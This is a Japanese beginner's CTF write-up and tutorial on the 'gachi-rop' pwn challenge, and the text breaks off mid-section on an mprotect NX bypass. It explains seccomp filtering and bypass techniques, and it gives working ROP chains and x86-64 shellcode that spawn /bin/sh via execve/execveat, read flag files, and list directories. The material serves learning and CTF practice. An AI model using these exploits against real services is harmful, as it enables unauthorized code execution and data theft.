All Articles

よちよち CTFer の Pwn 超入門 2 - seccomp の回避と Shell Code の基礎 編-

最近 Pwn を勉強中です。

前回の記事 よちよち CTFer の Pwn 超入門 1 - FSB の基礎と ROP のテクニック 編- に引き続き、今回は sec4b 2024 の gachi-rop という問題をテーマに、seccomp の回避手法と Shell Code の基礎について Pwn の入門テクニックとしてまとめていきます。

もくじ

問題の概要 gachi-rop(Pwn)

そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ!

問題バイナリとして提供されている Dockerfile を読むと、以下のように flag.txt がランダムな MD5 ハッシュを付与された上で ctf4b ディレクトリに配置されることがわかります。

FROM ubuntu:22.04@sha256:2af372c1e2645779643284c7dc38775e3dbbc417b2d784a27c5a9eb784014fb8 AS base
WORKDIR /app
COPY gachi-rop run
COPY flag.txt /flag.txt
RUN mkdir ctf4b
RUN  mv /flag.txt ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt

FROM pwn.red/jail
COPY --from=base / /srv
RUN chmod +x /srv/app/run
ENV JAIL_TIME=60 JAIL_CPU=100 JAIL_MEM=10M

ディレクトリ構造は以下のようになっており、ファイル名を guess で特定することは困難なため、エクスプロイトによって Shell を取得するか、何らかの方法で Flag の記載されたファイル名を特定した上でそのファイルのコンテンツをリークすることが基本指針になりそうです。

image-20240616185938530

そこで、この問題で提供されている問題バイナリを確認してみると、実行時にいきなり libc 関数のアドレスがリークされることを確認できます。

int32_t main(int32_t argc, char** argv, char** envp)
{
    install_seccomp();
    printf("system@%p\n", system);
    int64_t buf = 0;
    int64_t var_10 = 0;
    printf("Name: ");
    gets(&buf);
    printf("Hello, gachi-rop-%s!!\n", &buf);
    return 0;
}

また、明らかな BoF の脆弱性があり、Canary や PIE などの保護機構も無効化されているため、容易に ROPChain によるエクスプロイトが可能そうです。

image-20240616185455256

そこで、Shell を取得するために以下のような典型的な ROP Chain をペイロードとして送り込んでみました。

# Exploit
r = target.recvuntil(b"Name: ")

system_addr = int(r.decode().split("\n")[0].split("@")[1],16)
libc_baseaddress = system_addr - 0x50d70
binsh_addr = libc_baseaddress + 0x1d8678
pop_rdi_ret = libc_baseaddress + 0x001bbea1
ret = 0x4012fc

payload = flat(
    b"A"*0x10 + b"B"*8,
    pop_rdi_ret,
    binsh_addr,
    ret,
    system_addr
)
target.sendline(payload)

しかし、このペイロードは意図した通りに /bin/sh を引数として system 関数を実行できるものの、Shell の取得には失敗してしまいます。

エクスプロイト発行時の strace を取得してみると、以下のように /bin/sh を引数としてシステムコール execve が発行された際にプロセスが終了しているようです。

image-20240618205240678

これは、main 関数の先頭で実行されている install_seccomp 関数内で登録された seccomp によってプロセスが保護されているためです。

実際に、バイナリにパッチを当ててこの install_seccomp 関数を実行しないようにさせると、同じペイロードで Shell を取得できるようになることを確認できます。

image-20240618204908173

以上から、この問題では seccomp の制限を解除するか、制限の範囲内で Flag を取得するための ROP Chain を構築することが基本指針となりそうです。

seccomp の概要と実装

seccomp(secure computing mode) とは、プロセスが発行するシステムコールを制限することが可能な保護機構です。

プロセスが自身に対して seccomp による保護を有効化すると、そのプロセスが許可されているシステムコール以外のシステムコールを実行しようとするとプロセスが終了されるようになります。

seccomp は Linux カーネル 2.6.12 で初めて導入された後、Linux カーネル 3.5 からはより柔軟に制御が可能な seccomp-bpf が追加されています。

従来の seccomp は Strict mode と呼ばれ、すでにオープン済みのファイルディスクリプタに対する read,write と、exit,sigreturn の 4 つのシステムコールのみを許可し、他のシステムコールを禁止する仕組みだったようです。

また、より柔軟に制御が可能となった seccomp-bpf では、Berkeley Packet Filter (BPF) プログラムとして表現されたフィルタを使用して実行されるシステムコールを監視します。

参考:Seccomp BPF (フィルターを使用したセキュアコンピューティング) — Linux カーネルのドキュメント

Strict mode で seccomp を実装する

実際に、prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); で Strict mode の seccomp を有効化することで execve の実行に失敗することを確認してみます。

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>

int main()
{
    # prctl(PR_SET_SECCOMP=0x16,SECCOMP_MODE_STRICT=1);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

    char *args = { "/bin/echo", "After enable seccomp." , NULL};
    execve("/bin/echo",args,0);

    return 0;
}

参考:Linux Kernel: include/uapi/linux/seccomp.h File Reference

参考:linux/include/linux/prctl.h at master · spotify/linux

このコードをコンパイルして実行すると、以下のように execve システムコールを実行しようとした際に SIGKILL によってプロセスが終了させられることを確認できます。

image-20240618230141319

libseccomp を使用して seccomp-bpf を実装する

次は、libseccomp の seccompruleadd を使用して seccomp-bpf を実装してみます。

コードは HackTricks の以下のサンプルをそのまま使用します。

seccomp_rule_add は、libseccomp というライブラリに含まれる関数で、より簡単に seccomp フィルタを実装するために使用できます。

参考:seccomp/libseccomp: The main libseccomp repository

参考:Ubuntu Manpage: seccompruleadd, seccompruleadd_exact - Add a seccomp filter rule

このライブラリ関数を使用する場合、コンパイル時には gcc main.c -lseccomp のように -lseccomp を付与する必要があります。

#include <seccomp.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

//https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp

void main(void) {
  /* initialize the libseccomp context */
  scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
  
  /* allow exiting */
  printf("Adding rule : Allow exit_group\n");
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  
  /* allow getting the current pid */
  //printf("Adding rule : Allow getpid\n");
  //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
  
  printf("Adding rule : Deny getpid\n");
  seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
  /* allow changing data segment size, as required by glibc */
  printf("Adding rule : Allow brk\n");
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
  
  /* allow writing up to 512 bytes to fd 1 */
  printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
    SCMP_A0(SCMP_CMP_EQ, 1),
    SCMP_A2(SCMP_CMP_LE, 512));
  
  /* if writing to any other fd, return -EBADF */
  printf("Adding rule : Deny write to any FD except 1 \n");
  seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
    SCMP_A0(SCMP_CMP_NE, 1));
  
  /* load and enforce the filters */
  printf("Load rules and enforce \n");
  seccomp_load(ctx);
  seccomp_release(ctx);
  //Get the getpid is denied, a weird number will be returned like
  //this process is -9
  printf("this process is %d\n", getpid());
}

参考:Seccomp | HackTricks | HackTricks

このコードをコンパイルして実行すると、seccomp-bpf によって getpid の実行に失敗することを確認できます。(seccomp-bpf によりシステムコールの発行がブロックされる場合は、Strict モードとは異なり SIGKILL によってプロセスが停止されるわけではなさそうです)

image-20240619200854256

image-20240619200923008

prctl で seccomp-bpf を実装する

libseccomp は、複雑になりやすい seccomp-bpf フィルタを簡単に実装するために利用できるライブラリですが、このライブラリを使用せずとも、prctl を使用して seccomp-bpf を実装することも可能です。

prctl で seccomp-bpf を構成する場合、以下のようなコードを使用します。

prctl(PR_SET_SECCOMP、SECCOMP_MODE_FILTER、prog);

seccomp-bpf を構成するため、prctl の第 2 引数には SECCOMP_MODE_STRICT ではなく SECCOMP_MODE_FILTER を指定しています。

また、Strict モードを使用する場合と異なり、第 3 引数 prog にフィルタプログラムを格納する struct sock_fprog へのポインタを与えます。

参考:Seccomp BPF (フィルターを使用したセキュアコンピューティング) — Linux カーネルのドキュメント

ここで、前項と同じように getpid を禁止するフィルタを追加する以下のコードを作成しました。

#include <errno.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/syscall.h>

struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};

struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
    .filter = filter,
};

int main() {
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)");
        exit(EXIT_FAILURE);
    }

    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("prctl(PR_SET_SECCOMP)");
        exit(EXIT_FAILURE);
    }

    printf("this process is %d\n", getpid());

    return 0;
}

main 関数でまず始めに実行している以下のコードは NO_NEW_PRIVS フラグの有効化を行っています。

これは、フィルタの適用後にプロセスが特権昇格を行うことを禁止するコードで、実際にフィルタを登録する prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) の実行のために必要な処理です。

if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(EXIT_FAILURE);
}

このコードによってプロセスの権限レベルが維持され、seccomp のフィルタの制限をバイパスできなくなるようです。

なお、試しにこのコードを削除してフィルタの登録を実施してみると、以下のエラーでフィルタの登録に失敗するようになりました。

$ ./a.out
prctl(PR_SET_SECCOMP): Permission denied

続く以下のセクションでは、prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)SECCOMP_MODE_FILTER を指定してフィルタの登録を行っています。

if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("prctl(PR_SET_SECCOMP)");
    exit(EXIT_FAILURE);
}

ここで引数に与えられている sock_fprog 構造体は以下のコードで定義されています。

struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};

struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
    .filter = filter,
};

filter の定義内に存在する BPF_STMTBPF_JUMP マクロは、それぞれ seccomp が使用する BFP プログラムの操作を行うためのものです。

BPF_STMT は特定の操作を実施するためのマクロです。

例えば、最初の BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0) では、seccompdata の arch からロードしたデータと AUDITARCHX8664 を比較し、一致した場合は次の命令をスキップして 1 つ先の命令に進み、一致しない場合は直後の命令を実施することを定義しています。

この直後の命令は BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL) あり、SECCOMP_RET_KILL を返してプロセスを終了する命令になっています。

そのため、最初の 3 セットの命令では、実行環境のアーキテクチャが ARCH_X86_64 に一致するかを比較し、一致しない場合はプロセスを終了するものと理解できます。

続く命令では、BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)) にて seccomp_data の nr(システムコール)から読み出したシステムコール番号が __NR_getpid と一致するかを比較し、一致する場合には BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM) にてシステムコールの実行を禁止し、一致しない場合には BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW) にて実行を許可することが定義されています。

BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO | EPERM),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

つまり、この filter の中では、システムコール getpid の実行を禁止するフィルタを登録していると判断できます。

このコードをコンパイルして実行すると、前項と同じく getpid の実行に失敗することを確認できます。

image-20240620000934533

seccomp-tools を使用する

このような seccomp-bpf による制御の詳細は seccomp-tools を使用することでも確認できます。

参考:david942j/seccomp-tools: Provide powerful tools for seccomp analysis

前項でコンパイルしたプログラムを実行すると、以下の結果を得ることができます。

image-20240620001106792

この結果から、先にフィルタの実装から確認した通り、アーキテクチャとシステムコール番号の検証が行われており、getpid の発行が禁止されていることを確認することができます。

問題バイナリの seccomp フィルタを確認する

では最後に、問題バイナリの seccomp フィルタを確認しましょう。

問題バイナリのデコンパイル結果から、このプログラムでは最初に以下の install_seccomp 関数を実行していることを確認できます。

void install_seccomp(void)
{
  int iVar1;
  undefined2 local_18 [4];
  undefined1 *local_10;
  
  local_18[0] = 8;
  local_10 = filter.0;
  iVar1 = prctl(0x26,1,0,0,0);
  if (iVar1 < 0) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
                    /* WARNING: Subroutine does not return */
    exit(2);
  }
  iVar1 = prctl(0x16,2,local_18);
  if (iVar1 < 0) {
    perror("prctl(PR_SET_SECCOMP)");
                    /* WARNING: Subroutine does not return */
    exit(2);
  }
  return;
}

PR_SET_NO_NEW_PRIVS は 0x26(33) を指すため、ここで始めに実行している prctl(0x26,1,0,0,0) は、prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) と等しいです。

続く prctl(0x16,2,local_18) では、スタックに配置した sock_fprog を引数として受け取り、seccomp-bpf フィルタを登録しています。

このフィルタは単なるバイト列として定義されているため、デコンパイラのデフォルトの解析機能では解読が行われませんでしたが、seccomp-tools を使用することで定義を簡単に参照することができます。

実際に seccomp-tools を実行してみると、このバイナリでは execve と execveat のシステムコールが禁止されていることがわかります。

image-20240620001242126

つまり、execve と execveat の実行や、system などのこれらのシステムコールに依存するような操作は行うことができないため、この制約を回避しつつ Flag を取得する必要があることがわかります。

seccomp の回避

今回の問題の Flag を取得するため、seccomp のフィルタリングを回避する手法を可能な限り把握したいと思います。

代替のシステムコールの利用

seccomp のフィルタリング方法としてはブラックリスト方式とホワイトリスト方式のどちらかを利用することができます。

ブラックリスト方式は前項までで確認したような、ブロック対象のシステムコールを明示的に指定する方法です。

一方で、ホワイトリスト方式は、例えば以下のようなコードで実装でき、明示的に許可したシステムコールのみを発行できるようにフィルタを構成できます。

#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE    256

void install_seccomp() {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    // seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);

    seccomp_load(ctx);
    seccomp_release(ctx);

    return;
}

int main() {
    install_seccomp();

    // Allowed
    write(STDOUT_FILENO, "write is allowed.\n", 18);

    // Disallowed
    getpid();

    return 0;
}

ここで、特にブラックリスト方式の場合に、制限されていない他のシステムコールを駆使して本来制限されるはずの操作を行うことで、seccomp の制限を回避できる場合があります。

例えば、以下の Writeup の問題は execve が seccomp で制御されていますが、execveat は制御対象から漏れているためにこれを利用することでエクスプロイトが可能となった例です。

参考:ptr-yudai / writeups / 2019 / ByteBanditsCTF2019 / lemonshell — Bitbucket

また、以下の問題では execve と execveat が制御されているものの、splice を使って Flag を標準出力にリークさせています。

参考:[pwn 961pts] babyseccomp

他にも、以下の問題では execve と execveat が制御されている状況でバイナリを実行するために、fork と ptrace を使用し て execve を偽造?したシステムコールを使用して seccomp を回避しているようです。(悪用の詳しい技術的内容はあまり理解できてないので別でまとめます)

参考:[pwn 993pts] adult seccomp

このように、seccomp の制御対象外のシステムコールの範囲でエクスプロイトを成立させることができる場合があります。

ちなみに、代替可能なシステムコールを探すためには以下のようなサイトが便利です。

参考:x64.syscall.sh

ptrace の悪用

本記事では詳しく扱いませんが、ptrace を利用した seccomp のバイパス手法も一般に知られているようです。

参考:ptrace を使用して seccomp による制限を回避してみる

32 bit システムコールを利用するバイパス手法

CPU が Long mode の場合、32 bit プログラムを互換モードで実行できます。

参考:Long mode - Wikipedia

seccomp はシステムコール番号で制御を行うため、コードセグメントを切り替えて 64 bit とは異なる 32 bit 用のシステムコールを発行すると、seccomp のフィルタをバイパスすることが可能です。

参考:詳解セキュリティコンテスト P.480

しかし、このようなバイパス手法を回避するために、seccomp 側ではアーキテクチャの検証を行う場合があります。

前の項で実装した以下のようなフィルタが、上記のようなバイパス手法を回避するための対策に該当します。

BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

32 bit ABI を使用した seccomp バイパス

32 bit ABI とは 32 bit アドレッシングを利用した 64 bit のインターフェースであり、前項のようにコードセグメントの切り替えを行うことなく 32 bit のシステムコールを発行できます。

この方法を使用すると、seccomp が x86_64 アーキテクチャの検証を行っている場合でも x86 システムコールを発行して seccomp をバイパスできます。

32 bit ABI を使用して seccomp のバイパスを行う例として以下が参考になります。

参考:Bypassing seccomp BPF filter | tripoloski blog

なお、seccomp 側でこのエクスプロイトの対策を行う場合、システムコールの情報をロードした際に __X32_SYSCALL_BIT のフラグが立っているかを検証するフィルタを追加するようです。

または、if (A < 0x40000000) によってシステムコールの値が 32 bit ABI の範囲にあるかを検証する方法もあります。

ちなみに、x86 ABI を使用するにはカーネルが CONFIG_X86_X32=y の構成でビルドされている必要があるようです。

この設定については以下のコマンドで確認できます。

zgrep CONFIG_X86_X32 /proc/config.gz

参考:ROOT and x32-ABI

参考:memory - Linux and x32-ABI - How to use? - Unix & Linux Stack Exchange

しかし、過去の Writeup などを探した結果、x86 ABI で seccomp をバイパスして open、read、write などのシステムコールを実行している例は複数見つかったものの、/bin/sh を起動している例は確認できませんでした。

また、以下のコードで __X32_SYSCALL_BIT フラグを付けたシステムコールの実行を試そうとしたところ write は動作したにも関わらず execve は使用できませんでした。

(おそらく 64 bit のプログラムの実行は 32 bit ABI では実行できないのではないかと思っていますが、確かな情報が見つからなかったので、わかり次第追記します。)

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <stdint.h>

int main() {
    
    syscall(SYS_write|__X32_SYSCALL_BIT, 1, "Test x86 ABI.\n", 15);

    const char *path = "/bin/ls";
    const char *args[] = { "ls", NULL };
    const char *env[] = { NULL };
    syscall(SYS_execve|__X32_SYSCALL_BIT, "/bin/ls", args, env);

    return 0;
}

image-20240621005044485

execve と execveat について

前の項では、一般的な seccomp の回避方法について簡単にまとめました。

実際にどのような回避方法が使用できるかを検討する前に、今回の問題バイナリのように、execve と execveat が禁止されている場合どのような操作が行えなくなるのかを把握したいと思います。

まず、execve は受け渡されたパス名で参照可能なプログラムを実行するシステムコールです。

これは、現在のプロセスイメージを置き換えて新しいプログラムを起動する操作を行います。

参考:execve(2) - Linux manual page

詳解 Linux カーネル 第 3 版によると、execl、execlp、execle、execv、execvp などのプログラムを実行可能な各種関数はすべて execve のラッパールーチンなので、内部的に execve に依存しているそうです。

そのため、seccomp で execve が制御されている場合はこれらの関数も利用できなくなるようです。

また、system は fork を使用して指定されたシェルコマンドを実行する子プロセスを生成するものであり、execl を使用しています。

つまり、execve が制御されている場合には system も利用できなくなります。

参考:system(3) - Linux manual page

ただし、execve が制限されている場合でも、execveat システムコールは使用できます。

execveat は execve と同様に動作するものの、より柔軟なパスを指定できる点に違いがあります。

execveat では、dirfd と pathname の組み合わせで参照されるプログラムを実行することができ、dirfd が参照するディレクトリに対する相対パスでプログラムの実行を行うことができます。

参考:execveat(2) - Linux manual page

参考:Ubuntu Manpage: execveat - ディレクトリファイルディスクリプターからの相対パスで指定されるプログラムを実行

このように、execve と execveat が禁止されている場合には、Linux システムで使用可能なシェルやプログラムを実行する操作は非常に困難なようです。

以下の Writeup では、execve と execveat が禁止されている場合にはバイナリの実行は不可能だと言及されていました。

参考:[pwn 993pts] adult seccomp

Shell Code 入門

Shell Code を作成してみる

ここからは、Flag を取得するために Shell Code の作成に取り組んでいきます。

Shell Code とは機械語で記述された命令片のことを指しており、このような Shell Code をペイロードとして脆弱なサービスに送り込むことで、脆弱性を悪用して任意のコードを実行させるといった用途で使用されます。

ROP で作成する ROP Chain も、Shell Code の各命令と対応する ROP Gadget を連結しているという点で共通しています。

以下は、シンプルな Shell Code の例です。

BITS 64
global _start

_start:
    mov rdi, binsh
    lea rsi, 0
    lea rdx, 0
    mov rax, 59 ; execve
    syscall

section .data
    binsh db "/bin/sh", 0

このアセンブリコードは、以下のコマンドでビルドできます。

# Shell Code を生成
nasm shellcode.s -O0 -f bin -o shellcode

# ELF としてコンパイル
nasm shellcode.s -f elf64 ; ld shellcode.o -o shellcode

nasm shellcode.s -O0 -f bin -o shellcode を使用する場合、記載したアセンブリコードがそのまま最適化無しで Shell Code になります。

一方で、nasm shellcode.s -f elf64 ; ld shellcode.o -o shellcode を使用する場合、Shell Code は ELF としてリンクされるため、実際に Shell Code の動作をテストしたり、デバッグを行うことができるようになります。

また、例えば作成した Shell Code を直接テストしたい場合などは、以下のコードを使用できます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main() {
    void *exec_mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (exec_mem == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    char binsh[10] = "/bin/sh";

    printf("System: %p\n", *system);
    printf("binsh: %p\n", binsh);

    printf("Enter machine code:\n");
    char input[4096];
    if (fgets(input, sizeof(input), stdin) == NULL) {
        perror("fgets");
        munmap(exec_mem, 4096);
        return 1;
    }

    memcpy(exec_mem, input, 4096);
    asm("jmp *%0" :: "r"(exec_mem));

    munmap(exec_mem, 4096);

    return 0;
}

このコードをコンパイルしたバイナリに対して Shell Code を送り込むと、その Shell Code をメモリ内に埋め込んで実行してくれます。

テストには以下の Python スクリプトを使用できます。

from pwn import *

# Set context
context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set gdb script
gdbscript = f"""
b *(main+389)
continue
"""

# Set target
TARGET_PATH = "./a.out"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    # target = remote("address", port)
    target = process(TARGET_PATH)

# Exploit
r = target.recvline_startswith(b"System:")
system_addr = int(r.decode().split(" ")[1],16)
r = target.recvline_startswith(b"binsh:")
binsh_addr = int(r.decode().split(" ")[1],16)

r = target.recvline()

shellcode = asm(
f"""mov rdi, {binsh_addr}
mov rsi, 0
mov rdx, 0
mov rax, 59
syscall
""")
payload = shellcode
target.sendline(payload)

with open("./payload","wb") as f:
    f.write(payload)

# Finish exploit
target.clean()
target.interactive()

このコードでは、この項で作成した execve を使用して Shell を取得する Shell Code を送信しています。

実際に実行してみると、以下のような命令片が実行され、Shell を起動できることを確認できます。

image-20240626202459269

execveat でプログラムを実行する

まずは execveat でプログラムを実行する Shell Code を作成してみます。

execveat は第 2 引数に実行ファイルのパスをとります。

このパスが絶対パスの場合、第 1 引数の dirfd は無視されるので適当に設定できます。

#include <linux/fcntl.h>      /* Definition of AT_* constants */
#include <unistd.h>

int execveat(int dirfd, const char *pathname,
            char *const _Nullable argv[],
            char *const _Nullable envp[],
            int flags);

参考:execveat(2) - Linux manual page

以下の Shell Code を作成しました。

mov rax, 322
mov rdi, 0
mov rsi, {binsh_addr}
mov rdx, 0
mov r10, 0
xor r8, r8
syscall

これを以下のように Shell Code 化したものをテストプログラムに送り込むと、Shell を取得できました。

shellcode = asm(
f"""mov rax, 322
mov rdi, 0
mov rsi, {binsh_addr}
mov rdx, 0
mov r10, 0
xor r8, r8
syscall
""")

image-20240626204219748

open、read、write でファイルの中身を出力する

次は、プログラムの実行ではなくシステム内のファイルのデータを読み出して標準出力に返す Shell Code を実装していきます。

ファイルのデータにアクセスするためにはまず、open を使用してファイルのファイルディスクリプタを開きます。

open では、第 1 引数にファイルパスを渡します。

#include <fcntl.h>
int open(const char *pathname, int flags, ...
    /* mode_t mode */ );

参考:open(2) - Linux manual page

例えば、以下はハードコードされたファイル名をスタックに格納し、open でファイルディスクリプタを取得するシェルコードです。

mov rax, 0x7478742e67616c66 ; flag.txt
push 0x0
push rax
mov rax, 2 ; open
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

ファイルパスについては、他の方法で取得したり、事前にスタックに突っ込んでおいてもいいかもしれません。

末尾に NULL バイトを挿入することを忘れないようにします。

このシステムコールで取得したファイルディスクリプタは RAX に保持されます。

続いて、read を使用してファイルの情報をバッファに格納します。

#include <unistd.h>
ssize_t read(int fd, void buf[.count], size_t count);

ファイルデータを読み取るため、以下のアセンブリコードを作成しました。

このコードでは、ファイルディスクリプタから 20 バイトをスタックに read します。

mov rdi, rax ; fd を第 1 引数に
mov rax, 0 ; read
mov rsi, rsp ; とりあえずスタックをバッファに指定
mov rdx, 20
syscall

参考:read(2) - Linux manual page

最後に、write を使用して read した文字列を標準出力に返します。

#include <unistd.h>
ssize_t write(int fd, const void buf[.count], size_t count);

以下のアセンブリコードを使用します。

mov rax, 1 ; write
mov rdi, 1 ; stdin
mov rsi, rsp
mov rdx, 20
syscall

参考:write(2) - Linux manual page

これを実際にテストプログラムに送り込むスクリプトは以下の通りです。

from pwn import *

# Set context
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

# Set target
TARGET_PATH = "./run_shellcode.bin"
exe = ELF(TARGET_PATH)
target = process(TARGET_PATH)

# Exploit
r = target.recvline_startswith(b"System:")
system_addr = int(r.decode().split(" ")[1],16)
r = target.recvline_startswith(b"binsh:")
binsh_addr = int(r.decode().split(" ")[1],16)
stack_addr = binsh_addr
file_name = "0x" + "flag.txt".encode("utf-8")[::-1].hex()

r = target.recvline()

shellcode = asm(
f"""mov rax, {file_name}
push 0x0
push rax
mov rax, 2
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 20
syscall

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 20
syscall
""")
payload = shellcode
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

このスクリプトを実行すると、作成した Shell Code によって flag.txt 内の文字列が出力されます。

image-20240626220452807

getdents でディレクトリエントリを参照する

前項でファイルパスを指定したファイルのデータを read して出力する Shell Code を作成しましたが、ファイル名が不明な場合にはディレクトリの探索を行う必要があります。

その場合には、getdents(x64 の場合は getdents64)を使用できます。

int getdents(unsigned int fd, struct linux_dirent *dirp,
             unsigned int count);

参考:getdents64(2): directory entries - Linux man page

getdents64 は以下の Shell Code で呼び出すことができます。

まずは、open を使用してディレクトリのファイルディスクリプタを取得します。

これは、前項の Shell Code と全く同じコードを利用できます。(ファイルパスをディレクトリパスに変更する)

その後、取得したファイルディスクリプタを引数として getdents64 を発行することで、指定のバッファに結果が返されます。

; open dir
mov rax, {dir_name}
push 0
push rax
mov rax, 2 ; open
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

; getdents64
mov rdi, rax
mov rax, 217 ; getdents64
mov rsi, rsp
mov rdx, 300
syscall

この Shell Code を利用するために以下のコードを使用します。

dir_name = "0x" + "/tmp/".encode("utf-8")[::-1].hex()
r = target.recvline()

shellcode = asm(
f"""mov rax, {dir_name}
push 0
push rax
mov rax, 2
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

mov rdi, rax
mov rax, 217
mov rsi, rsp
mov rdx, 300
syscall

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 300
syscall
""")
payload = shellcode
target.sendline(payload)

これを実行すると、以下のように /tmp ディレクトリ直下にあるファイルやディレクトリの名前を取得することができました。

image-20240627012031364

mprotect による NX の回避

ここまでシンプルな Shell Code を作成してきましたが、特に ROP を悪用する場合は、エクスプロイトに使用する Shell Code が長くなるほど使用可能な Gadget の種類や入力バイトサイズの制限などの制約を受けやすくなります。

そのような場合、ROP Chain を構築するのではなく Stack に配置した Shell Code を直接実行させることが有効な回避策になります。

しかし、今回の問題バイナリのように NX が有効化されている場合、ペイロードを Stack 領域に配置してもコードを実行することができません。

この問題の回避方法として、libc の mprotect を使用することで、実行権限を付与した領域に Shell Code を配置する手法があります。

参考:SROPとNX enabledの回避 - ポン中のハシビロコウ

例えば以下のような Shell Code を発行することで、mprotect により指定のメモリアドレスから任意のサイズ分の範囲に実行権限を割り当てることができます。

mov rdx, 7 ; R|W|X
